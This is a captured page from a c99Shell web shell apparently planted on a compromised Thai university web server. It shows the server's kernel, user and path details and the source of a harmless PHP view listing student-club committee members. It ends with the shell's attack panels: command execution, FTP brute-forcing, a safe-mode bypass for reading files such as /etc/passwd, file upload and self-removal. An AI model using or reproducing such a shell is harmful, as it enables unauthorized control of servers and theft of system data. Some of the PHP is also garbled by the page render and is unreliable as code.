!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_sc_showCmt.php (3.85 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    $_image_reply 
= array(
                    
'src' => 'images/edit.png',         
                    
'width' => '15',
                    
'height' => '15',
                    
'border' => '0',
                    
'title' => 'แก้ไขข้อมูล',
                    
'onmouseover' => "this.style.cursor='pointer'"
    
);
    
$_image_del = array(
                    
'src' => 'images/delete.png',         
                    
'width' => '15',
                    
'height' => '15',
                    
'border' => '0',
                    
'title' => 'ลบข้อมูล',
                    
'onmouseover' => "this.style.cursor='pointer'"
    
);
?>
<table id="table_show" class='tb_1' width="50%" >
<?php
    
if($rs_cmt->num_rows()>0){
        
$row $rs_cmt->row();
?>
    <!-- <tr>
        <th colspan="7" align="left">
        <?php
            
echo 'ปีการศึกษา : ';
            echo 
$row->cmt_year;
        
?>
        </th>
    </tr>
    <tr>
        <th colspan="7" align="left">
        <?php
            
echo ($cl_id!='')?'ชมรม : ':'สโมสร : ';
            echo 
$row->sc_name;
        
?>
        </th>
    </tr> -->

<?php
    
}
?>
    <!-- <tr>
        <th align="center" width="10%">ลำดับที่</th>
         <th align="center" width="15%">ปีการศึกษา</th>
        <th align="center" >ตำแหน่ง</th>
        <th align="center" >รหัสนักศึกษา</th>
        <th align="center" >ชื่อ-สกุล</th>
        <th align="center" >วันที่แต่งตั้ง</th>
        <th align="center" width="5%">แก้ไข</th>
        <th align="center" width="5%">ลบ</th>
    </tr> -->
<?php
    
if($rs_cmt->num_rows() > 0){
        
$index 1;
        
$cmt_year '';
        
$sc_name '';
        
$cmt_year '';
        foreach(
$rs_cmt->result() as $row){
            if (
$cmt_year != $row->cmt_year ) {
?>
                <tr>
                    <th colspan="7" align="left">
                    <?php
                        
echo 'ปีการศึกษา : ';
                        echo 
$row->cmt_year;
                    
?>
                    </th>
                </tr>
<?
            
}
?>
<?php
                
if ($sc_name != $row->sc_name ) {
?>
                <tr>
                    <th colspan="7" align="left">
                    <?php
                        
echo ($row->psc_name=='')?'สโมสร : ':'ชมรม : ';
                        echo 
$row->sc_name;
                    
?>
                    </th>
                </tr>
            <tr>
                <th align="center" width="10%">ลำดับที่</th>
        <!--         <th align="center" width="15%">ปีการศึกษา</th> -->
                <th align="center" >ตำแหน่ง</th>
                <th align="center" >รหัสนักศึกษา</th>
                <th align="center" >ชื่อ-สกุล</th>
                <th align="center" >วันที่แต่งตั้ง</th>
                <!-- <th align="center" width="5%">แก้ไข</th>
         -->        <th align="center" width="5%">ลบ</th>
            </tr>
<?php                }
?>
        <tr>
            <td align="center"><?=$index;?></td>
<!--             <td><?=$row->cmt_year;?></td> -->
            <td><?=$row->pos_name;?></td>
            <td align="center"><?=$row->stdCode;?></td>
            <td><?=$row->stdName.' '.$row->stdSurname;?></td>
            <td align="center"><?php echo fulldate2($row->cmt_fr_date);?></td>
            <!-- <td align="center"><span class="hand" onClick="sendPost('myform', {'cmt_id':<?php echo $row->cmt_id;?>}, 'committee')"><?php echo img($this->config->item('sa_image_reply'));?></span></td> -->
            <td align="center"><?php echo anchor($this->config->item('sa_folder').'smo_club/del_cmt/'.$row->cmt_id,img($_image_del),array('onclick'=>"return confirm('ต้องการลบตำแหน่งนี้ใช่หรือไม่');")); ?></td>
        </tr>
<?php
            $index
++;
            
$cmt_year =  $row->cmt_year;
            
$sc_name =  $row->sc_name;
        }

    }else{
?>
    <tr class="notfound">
        <td colspan="7" >** ไม่พบชื่อตำแหน่ง **</td>
    </tr>
<?php  
    
}
?>

</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.015 ]--